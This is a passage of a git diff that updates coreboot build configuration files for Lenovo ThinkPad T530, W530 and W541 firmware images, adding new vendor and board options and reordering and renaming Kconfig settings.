CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MITAC_COMPUTING is not set # CONFIG_VENDOR_MSI is not set # CONFIG_VENDOR_OCP is not set # CONFIG_VENDOR_OPENCELLULAR is not set @@ -95,6 +100,7 @@ CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_PRODRIVE is not set # CONFIG_VENDOR_PROTECTLI is not set # CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAPTOR_CS is not set # CONFIG_VENDOR_RAZER is not set # CONFIG_VENDOR_RODA is not set # CONFIG_VENDOR_SAMSUNG is not set @@ -105,7 +111,9 @@ CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_SUPERMICRO is not set # CONFIG_VENDOR_SYSTEM76 is not set # CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_TOPTON is not set # CONFIG_VENDOR_UP is not set +# CONFIG_VENDOR_VIA is not set CONFIG_MAINBOARD_FAMILY="ThinkPad T530" CONFIG_MAINBOARD_PART_NUMBER="ThinkPad T530" CONFIG_MAINBOARD_VERSION="1.0" @@ -121,23 +129,29 @@ CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 CONFIG_MAX_CPUS=8 CONFIG_ONBOARD_VGA_IS_PRIMARY=y -CONFIG_DEVICETREE="devicetree.cb" -# CONFIG_VBOOT is not set CONFIG_VARIANT_DIR="t530" CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" +CONFIG_DEVICETREE="devicetree.cb" +# CONFIG_VBOOT is not set # CONFIG_VGA_BIOS is not set +CONFIG_PCIEXP_ASPM=y +# CONFIG_PCIEXP_L1_SUB_STATE is not set +# CONFIG_PCIEXP_CLK_PM is not set CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="LENOVO" CONFIG_DRAM_RESET_GATE_GPIO=10 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +# CONFIG_FATAL_ASSERTS is not set +CONFIG_USBDEBUG_HCD_INDEX=2 CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad T530" CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" -CONFIG_USBDEBUG_HCD_INDEX=2 +CONFIG_MAX_SOCKET=1 CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 CONFIG_TPM_PIRQ=0x0 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" CONFIG_DCACHE_RAM_BASE=0xfefe0000 CONFIG_DCACHE_RAM_SIZE=0x20000 CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 @@ -156,7 +170,6 @@ CONFIG_CARDBUS_PLUGIN_SUPPORT=y CONFIG_SPI_FLASH_GIGADEVICE=y CONFIG_SPI_FLASH_STMICRO=y # CONFIG_DEBUG_SMI is not set -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad T530" CONFIG_HAVE_IFD_BIN=y CONFIG_PCIEXP_HOTPLUG_BUSES=8 CONFIG_PCIEXP_HOTPLUG_MEM=0x800000 @@ -164,7 +177,11 @@ CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 # CONFIG_BOARD_LENOVO_THINKPAD_T440P is not set # CONFIG_BOARD_LENOVO_THINKPAD_W541 is not set # CONFIG_BOARD_LENOVO_L520 is not set +# CONFIG_BOARD_LENOVO_THINKCENTRE_M900_TINY is not set +# CONFIG_BOARD_LENOVO_M920Q is not set # CONFIG_BOARD_LENOVO_S230U is not set +# CONFIG_BOARD_LENOVO_T480 is not set +# CONFIG_BOARD_LENOVO_T480S is not set # CONFIG_BOARD_LENOVO_T400 is not set # CONFIG_BOARD_LENOVO_T500 is not set # CONFIG_BOARD_LENOVO_R400 is not set @@ -184,6 +201,7 @@ CONFIG_BOARD_LENOVO_T530=y # CONFIG_BOARD_LENOVO_Z61T is not set # CONFIG_BOARD_LENOVO_R60 is not set # CONFIG_BOARD_LENOVO_THINKCENTRE_A58 is not set +# CONFIG_BOARD_LENOVO_THINKCENTRE_M710S is not set # CONFIG_BOARD_LENOVO_X131E is not set # CONFIG_BOARD_LENOVO_X1_CARBON_GEN1 is not set # CONFIG_BOARD_LENOVO_X200 is not set @@ -198,19 +216,20 @@ CONFIG_BOARD_LENOVO_T530=y # CONFIG_BOARD_LENOVO_X230_EDP is not set # CONFIG_BOARD_LENOVO_X60 is not set CONFIG_VBOOT_SLOTS_RW_AB=y -CONFIG_DRIVER_LENOVO_SERIALS=y CONFIG_PS2K_EISAID="LEN0071" CONFIG_PS2M_EISAID="LEN0015" CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" CONFIG_GFX_GMA_PANEL_1_PORT="LVDS" CONFIG_BOARD_LENOVO_BASEBOARD_T530=y +CONFIG_LENOVO_TBFW_BIN="" CONFIG_D3COLD_SUPPORT=y -CONFIG_PCIEXP_ASPM=y -# CONFIG_PCIEXP_L1_SUB_STATE is not set -# CONFIG_PCIEXP_CLK_PM is not set # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_HEAP_SIZE=0x100000 CONFIG_EC_GPE_SCI=0x50 +CONFIG_EC_STARLABS_BATTERY_MODEL="Unknown" +CONFIG_EC_STARLABS_BATTERY_TYPE="LION" +CONFIG_EC_STARLABS_BATTERY_OEM="Unknown" CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" CONFIG_BOARD_ROMSIZE_KB_12288=y @@ -254,7 +273,7 @@ CONFIG_VERSTAGE_ADDR=0x2000000 CONFIG_SMM_TSEG_SIZE=0x800000 CONFIG_SMM_RESERVED_SIZE=0x100000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 -# CONFIG_USE_EXP_X86_64_SUPPORT is not set +# CONFIG_USE_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xf0000000 @@ -274,6 +293,7 @@ CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 CONFIG_PCIEXP_COMMON_CLOCK=y CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_DEBUG_STACK_OVERFLOW_BREAKPOINTS=y CONFIG_FIXED_SMBUS_IO_BASE=0x400 CONFIG_CBFS_CACHE_ALIGN=8 @@ -297,6 +317,7 @@ CONFIG_UDELAY_TSC=y CONFIG_TSC_MONOTONIC_TIMER=y CONFIG_TSC_SYNC_MFENCE=y CONFIG_HAVE_SMI_HANDLER=y +CONFIG_NEED_SMALL_2MB_PAGE_TABLES=y CONFIG_SMM_TSEG=y CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 CONFIG_AP_STACK_SIZE=0x800 @@ -320,6 +341,11 @@ CONFIG_NORTHBRIDGE_INTEL_SANDYBRIDGE=y # CONFIG_NATIVE_RAMINIT_IGNORE_XMP_REQUESTED_VOLTAGE is not set # CONFIG_RAMINIT_ALWAYS_ALLOW_DLL_OFF is not set # CONFIG_RAMINIT_ENABLE_ECC is not set +CONFIG_IGD_DEFAULT_UMA_SIZE_32MB=y +# CONFIG_IGD_DEFAULT_UMA_SIZE_64MB is not set +# CONFIG_IGD_DEFAULT_UMA_SIZE_96MB is not set +# CONFIG_IGD_DEFAULT_UMA_SIZE_128MB is not set +CONFIG_IGD_DEFAULT_UMA_INDEX=0 # # Southbridge @@ -382,6 +408,7 @@ CONFIG_HAVE_GBE_BIN=y # CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set # CONFIG_LOCK_MANAGEMENT_ENGINE is not set CONFIG_UNLOCK_FLASH_REGIONS=y +CONFIG_ACPI_FNKEY_GEN_SCANCODE=0 CONFIG_ARCH_X86=y CONFIG_ARCH_BOOTBLOCK_X86_32=y CONFIG_ARCH_VERSTAGE_X86_32=y @@ -389,7 +416,7 @@ CONFIG_ARCH_ROMSTAGE_X86_32=y CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y -CONFIG_HAVE_EXP_X86_64_SUPPORT=y +CONFIG_HAVE_X86_64_SUPPORT=y CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y @@ -404,6 +431,10 @@ CONFIG_HAVE_CF9_RESET=y CONFIG_DEBUG_HW_BREAKPOINTS=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y # CONFIG_DUMP_SMBIOS_TYPE17 is not set +CONFIG_X86_BOOTBLOCK_EXTRA_PROGRAM_SZ=0 +CONFIG_DEFAULT_EBDA_LOWMEM=0x100000 +CONFIG_DEFAULT_EBDA_SEGMENT=0xF600 +CONFIG_DEFAULT_EBDA_SIZE=0x400 # end of Chipset # @@ -424,7 +455,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x100000 +CONFIG_DEFAULT_SCREEN_ROTATION_INT=0 # end of Display CONFIG_PCI=y @@ -457,6 +488,7 @@ CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 # CONFIG_ELOG is not set CONFIG_CACHE_MRC_SETTINGS=y # CONFIG_MRC_SETTINGS_PROTECT is not set +# CONFIG_DRIVERS_OPTION_CFR is not set # CONFIG_SMMSTORE is not set CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y @@ -483,6 +515,7 @@ CONFIG_HAVE_USBDEBUG_OPTIONS=y # CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set # CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set # CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set +CONFIG_DRIVER_LENOVO_SERIALS=y # CONFIG_DRIVERS_I2C_MAX98396 is not set CONFIG_INTEL_INT15=y CONFIG_INTEL_GMA_ACPI=y @@ -528,15 +561,15 @@ CONFIG_VBOOT_LIB=y # # Trusted Platform Module # -# CONFIG_NO_TPM is not set CONFIG_TPM1=y +# CONFIG_TPM2 is not set CONFIG_TPM=y CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_TPM_DEACTIVATE is not set # CONFIG_DEBUG_TPM is not set -# CONFIG_TPM_RDRESP_NEED_DELAY is not set # CONFIG_TPM_LOG_CB is not set CONFIG_TPM_LOG_TPM1=y +# CONFIG_TPM_LOG_TPM2 is not set CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 @@ -622,6 +655,7 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # # CONFIG_PAYLOAD_NONE is not set # CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_FLAT_BINARY is not set # CONFIG_PAYLOAD_BOOTBOOT is not set # CONFIG_PAYLOAD_FILO is not set # CONFIG_PAYLOAD_GRUB2 is not set @@ -632,10 +666,8 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -671,7 +703,6 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # # General Debug Settings # -# CONFIG_FATAL_ASSERTS is not set # CONFIG_DEBUG_CBFS is not set CONFIG_HAVE_DEBUG_RAM_SETUP=y # CONFIG_DEBUG_RAM_SETUP is not set diff --git a/config/coreboot-w530-maximized.config b/config/coreboot-w530-maximized.config index b79e61a4d..31fac8886 100644 --- a/config/coreboot-w530-maximized.config +++ b/config/coreboot-w530-maximized.config @@ -6,14 +6,13 @@ # # General setup # -CONFIG_COREBOOT_BUILD=y CONFIG_LOCALVERSION="" CONFIG_CBFS_PREFIX="fallback" CONFIG_COMPILER_GCC=y # CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y # CONFIG_ANY_TOOLCHAIN is not set # CONFIG_CCACHE is not set +# CONFIG_LTO is not set # CONFIG_IWYU is not set # CONFIG_FMD_GENPARSER is not set # CONFIG_UTIL_GENPARSER is not set @@ -42,7 +41,6 @@ CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set # CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set -# CONFIG_FW_CONFIG is not set # # Software Bill Of Materials (SBOM) @@ -60,10 +58,11 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # # CONFIG_VENDOR_51NB is not set # CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_ADLINK is not set # CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOOSTAR is not set # CONFIG_VENDOR_AOPEN is not set # CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ARM is not set # CONFIG_VENDOR_ASROCK is not set # CONFIG_VENDOR_ASUS is not set # CONFIG_VENDOR_BIOSTAR is not set @@ -72,22 +71,28 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_CAVIUM is not set # CONFIG_VENDOR_CLEVO is not set # CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_CWWK is not set # CONFIG_VENDOR_DELL is not set # CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_ERYING is not set # CONFIG_VENDOR_EXAMPLE is not set # CONFIG_VENDOR_FACEBOOK is not set # CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_FRAMEWORK is not set # CONFIG_VENDOR_GETAC is not set # CONFIG_VENDOR_GIGABYTE is not set # CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HARDKERNEL is not set # CONFIG_VENDOR_HP is not set # CONFIG_VENDOR_IBASE is not set # CONFIG_VENDOR_IBM is not set # CONFIG_VENDOR_INTEL is not set # CONFIG_VENDOR_INVENTEC is not set # CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LATTEPANDA is not set CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MITAC_COMPUTING is not set # CONFIG_VENDOR_MSI is not set # CONFIG_VENDOR_OCP is not set # CONFIG_VENDOR_OPENCELLULAR is not set @@ -98,6 +103,7 @@ CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_PRODRIVE is not set # CONFIG_VENDOR_PROTECTLI is not set # CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAPTOR_CS is not set # CONFIG_VENDOR_RAZER is not set # CONFIG_VENDOR_RODA is not set # CONFIG_VENDOR_SAMSUNG is not set @@ -108,7 +114,9 @@ CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_SUPERMICRO is not set # CONFIG_VENDOR_SYSTEM76 is not set # CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_TOPTON is not set # CONFIG_VENDOR_UP is not set +# CONFIG_VENDOR_VIA is not set CONFIG_MAINBOARD_FAMILY="ThinkPad W530" CONFIG_MAINBOARD_PART_NUMBER="ThinkPad W530" CONFIG_MAINBOARD_VERSION="1.0" @@ -124,23 +132,29 @@ CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 CONFIG_MAX_CPUS=8 CONFIG_ONBOARD_VGA_IS_PRIMARY=y -CONFIG_DEVICETREE="devicetree.cb" -# CONFIG_VBOOT is not set CONFIG_VARIANT_DIR="w530" CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" +CONFIG_DEVICETREE="devicetree.cb" +# CONFIG_VBOOT is not set # CONFIG_VGA_BIOS is not set +CONFIG_PCIEXP_ASPM=y +# CONFIG_PCIEXP_L1_SUB_STATE is not set +# CONFIG_PCIEXP_CLK_PM is not set CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="LENOVO" CONFIG_DRAM_RESET_GATE_GPIO=10 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +# CONFIG_FATAL_ASSERTS is not set +CONFIG_USBDEBUG_HCD_INDEX=2 CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad W530" CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" -CONFIG_USBDEBUG_HCD_INDEX=2 +CONFIG_MAX_SOCKET=1 CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 CONFIG_TPM_PIRQ=0x0 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" CONFIG_DCACHE_RAM_BASE=0xfefe0000 CONFIG_DCACHE_RAM_SIZE=0x20000 CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 @@ -159,7 +173,6 @@ CONFIG_CARDBUS_PLUGIN_SUPPORT=y CONFIG_SPI_FLASH_GIGADEVICE=y CONFIG_SPI_FLASH_STMICRO=y # CONFIG_DEBUG_SMI is not set -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad W530" CONFIG_HAVE_IFD_BIN=y CONFIG_PCIEXP_HOTPLUG_BUSES=8 CONFIG_PCIEXP_HOTPLUG_MEM=0x800000 @@ -167,7 +180,11 @@ CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 # CONFIG_BOARD_LENOVO_THINKPAD_T440P is not set # CONFIG_BOARD_LENOVO_THINKPAD_W541 is not set # CONFIG_BOARD_LENOVO_L520 is not set +# CONFIG_BOARD_LENOVO_THINKCENTRE_M900_TINY is not set +# CONFIG_BOARD_LENOVO_M920Q is not set # CONFIG_BOARD_LENOVO_S230U is not set +# CONFIG_BOARD_LENOVO_T480 is not set +# CONFIG_BOARD_LENOVO_T480S is not set # CONFIG_BOARD_LENOVO_T400 is not set # CONFIG_BOARD_LENOVO_T500 is not set # CONFIG_BOARD_LENOVO_R400 is not set @@ -187,6 +204,7 @@ CONFIG_BOARD_LENOVO_W530=y # CONFIG_BOARD_LENOVO_Z61T is not set # CONFIG_BOARD_LENOVO_R60 is not set # CONFIG_BOARD_LENOVO_THINKCENTRE_A58 is not set +# CONFIG_BOARD_LENOVO_THINKCENTRE_M710S is not set # CONFIG_BOARD_LENOVO_X131E is not set # CONFIG_BOARD_LENOVO_X1_CARBON_GEN1 is not set # CONFIG_BOARD_LENOVO_X200 is not set @@ -201,19 +219,20 @@ CONFIG_BOARD_LENOVO_W530=y # CONFIG_BOARD_LENOVO_X230_EDP is not set # CONFIG_BOARD_LENOVO_X60 is not set CONFIG_VBOOT_SLOTS_RW_AB=y -CONFIG_DRIVER_LENOVO_SERIALS=y CONFIG_PS2K_EISAID="LEN0071" CONFIG_PS2M_EISAID="LEN0015" CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" CONFIG_GFX_GMA_PANEL_1_PORT="LVDS" CONFIG_BOARD_LENOVO_BASEBOARD_T530=y +CONFIG_LENOVO_TBFW_BIN="" CONFIG_D3COLD_SUPPORT=y -CONFIG_PCIEXP_ASPM=y -# CONFIG_PCIEXP_L1_SUB_STATE is not set -# CONFIG_PCIEXP_CLK_PM is not set # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_HEAP_SIZE=0x100000 CONFIG_EC_GPE_SCI=0x50 +CONFIG_EC_STARLABS_BATTERY_MODEL="Unknown" +CONFIG_EC_STARLABS_BATTERY_TYPE="LION" +CONFIG_EC_STARLABS_BATTERY_OEM="Unknown" CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" CONFIG_BOARD_ROMSIZE_KB_12288=y @@ -257,7 +276,7 @@ CONFIG_VERSTAGE_ADDR=0x2000000 CONFIG_SMM_TSEG_SIZE=0x800000 CONFIG_SMM_RESERVED_SIZE=0x100000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 -# CONFIG_USE_EXP_X86_64_SUPPORT is not set +# CONFIG_USE_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xf0000000 @@ -277,6 +296,7 @@ CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 CONFIG_PCIEXP_COMMON_CLOCK=y CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_DEBUG_STACK_OVERFLOW_BREAKPOINTS=y CONFIG_FIXED_SMBUS_IO_BASE=0x400 CONFIG_CBFS_CACHE_ALIGN=8 @@ -300,6 +320,7 @@ CONFIG_UDELAY_TSC=y CONFIG_TSC_MONOTONIC_TIMER=y CONFIG_TSC_SYNC_MFENCE=y CONFIG_HAVE_SMI_HANDLER=y +CONFIG_NEED_SMALL_2MB_PAGE_TABLES=y CONFIG_SMM_TSEG=y CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 CONFIG_AP_STACK_SIZE=0x800 @@ -323,6 +344,11 @@ CONFIG_NORTHBRIDGE_INTEL_SANDYBRIDGE=y # CONFIG_NATIVE_RAMINIT_IGNORE_XMP_REQUESTED_VOLTAGE is not set # CONFIG_RAMINIT_ALWAYS_ALLOW_DLL_OFF is not set CONFIG_RAMINIT_ENABLE_ECC=y +CONFIG_IGD_DEFAULT_UMA_SIZE_32MB=y +# CONFIG_IGD_DEFAULT_UMA_SIZE_64MB is not set +# CONFIG_IGD_DEFAULT_UMA_SIZE_96MB is not set +# CONFIG_IGD_DEFAULT_UMA_SIZE_128MB is not set +CONFIG_IGD_DEFAULT_UMA_INDEX=0 # # Southbridge @@ -385,6 +411,7 @@ CONFIG_HAVE_GBE_BIN=y # CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set # CONFIG_LOCK_MANAGEMENT_ENGINE is not set CONFIG_UNLOCK_FLASH_REGIONS=y +CONFIG_ACPI_FNKEY_GEN_SCANCODE=0 CONFIG_ARCH_X86=y CONFIG_ARCH_BOOTBLOCK_X86_32=y CONFIG_ARCH_VERSTAGE_X86_32=y @@ -392,7 +419,7 @@ CONFIG_ARCH_ROMSTAGE_X86_32=y CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y -CONFIG_HAVE_EXP_X86_64_SUPPORT=y +CONFIG_HAVE_X86_64_SUPPORT=y CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y @@ -407,6 +434,10 @@ CONFIG_HAVE_CF9_RESET=y CONFIG_DEBUG_HW_BREAKPOINTS=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y # CONFIG_DUMP_SMBIOS_TYPE17 is not set +CONFIG_X86_BOOTBLOCK_EXTRA_PROGRAM_SZ=0 +CONFIG_DEFAULT_EBDA_LOWMEM=0x100000 +CONFIG_DEFAULT_EBDA_SEGMENT=0xF600 +CONFIG_DEFAULT_EBDA_SIZE=0x400 # end of Chipset # @@ -427,7 +458,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x100000 +CONFIG_DEFAULT_SCREEN_ROTATION_INT=0 # end of Display CONFIG_PCI=y @@ -462,6 +493,7 @@ CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 # CONFIG_ELOG is not set CONFIG_CACHE_MRC_SETTINGS=y # CONFIG_MRC_SETTINGS_PROTECT is not set +# CONFIG_DRIVERS_OPTION_CFR is not set # CONFIG_SMMSTORE is not set CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y @@ -488,6 +520,7 @@ CONFIG_HAVE_USBDEBUG_OPTIONS=y # CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set # CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set # CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set +CONFIG_DRIVER_LENOVO_SERIALS=y # CONFIG_DRIVERS_I2C_MAX98396 is not set CONFIG_INTEL_INT15=y CONFIG_INTEL_GMA_ACPI=y @@ -534,15 +567,15 @@ CONFIG_VBOOT_LIB=y # # Trusted Platform Module # -# CONFIG_NO_TPM is not set CONFIG_TPM1=y +# CONFIG_TPM2 is not set CONFIG_TPM=y CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_TPM_DEACTIVATE is not set # CONFIG_DEBUG_TPM is not set -# CONFIG_TPM_RDRESP_NEED_DELAY is not set # CONFIG_TPM_LOG_CB is not set CONFIG_TPM_LOG_TPM1=y +# CONFIG_TPM_LOG_TPM2 is not set CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 @@ -628,6 +661,7 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # # CONFIG_PAYLOAD_NONE is not set # CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_FLAT_BINARY is not set # CONFIG_PAYLOAD_BOOTBOOT is not set # CONFIG_PAYLOAD_FILO is not set # CONFIG_PAYLOAD_GRUB2 is not set @@ -638,10 +672,8 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -677,7 +709,6 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # # General Debug Settings # -# CONFIG_FATAL_ASSERTS is not set # CONFIG_DEBUG_CBFS is not set CONFIG_HAVE_DEBUG_RAM_SETUP=y # CONFIG_DEBUG_RAM_SETUP is not set diff --git a/config/coreboot-w541.config b/config/coreboot-w541.config index 81d7bd7b8..ea4ea1577 100644 --- a/config/coreboot-w541.config +++ b/config/coreboot-w541.config @@ -6,14 +6,13 @@ # # General setup # -CONFIG_COREBOOT_BUILD=y CONFIG_LOCALVERSION="" CONFIG_CBFS_PREFIX="fallback" CONFIG_COMPILER_GCC=y # CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y # CONFIG_ANY_TOOLCHAIN is not set # CONFIG_CCACHE is not set +# CONFIG_LTO is not set # CONFIG_IWYU is not set # CONFIG_FMD_GENPARSER is not set # CONFIG_UTIL_GENPARSER is not set @@ -40,7 +39,6 @@ CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set # CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set -# CONFIG_FW_CONFIG is not set # # Software Bill Of Materials (SBOM) @@ -58,10 +56,11 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # # CONFIG_VENDOR_51NB is not set # CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_ADLINK is not set # CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOOSTAR is not set # CONFIG_VENDOR_AOPEN is not set # 